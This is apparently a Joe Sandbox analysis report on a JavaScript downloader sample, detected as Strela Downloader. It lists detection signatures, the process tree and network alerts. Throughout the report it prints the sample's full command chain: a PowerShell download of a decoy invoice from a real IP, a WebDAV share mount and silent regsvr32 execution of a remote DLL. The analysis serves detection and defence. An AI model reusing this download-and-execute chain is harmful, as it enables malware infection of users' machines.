Edit tour

Windows Analysis Report
26448249042746730897.js

Overview

General Information

Sample name:	26448249042746730897.js
Analysis ID:	1588288
MD5:	975530352e02f2a8a74441d9a3888d08
SHA1:	a94a405ab0c7af9c112dbc061a3d182d463d57ba
SHA256:	a8a4965609f7745548d6edf103b0e90d6b1074178ee77501e509cd44fbb9a7aa
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2492 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5180 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3716 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7448 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1744,i,6970937415629293393,4923579797717251566,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3616 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5756 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7312 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2492	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3716, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3716, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ProcessId: 2492, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5756, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 5180, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 5180, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 5180, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 5180, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 5180, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ProcessId: 2492, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3716, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5756, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7312, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5756, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll, ProcessId: 5180, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:34:35.511897+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:34:32.486301+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 26448249042746730897.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 26448249042746730897.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:34:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:56230 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

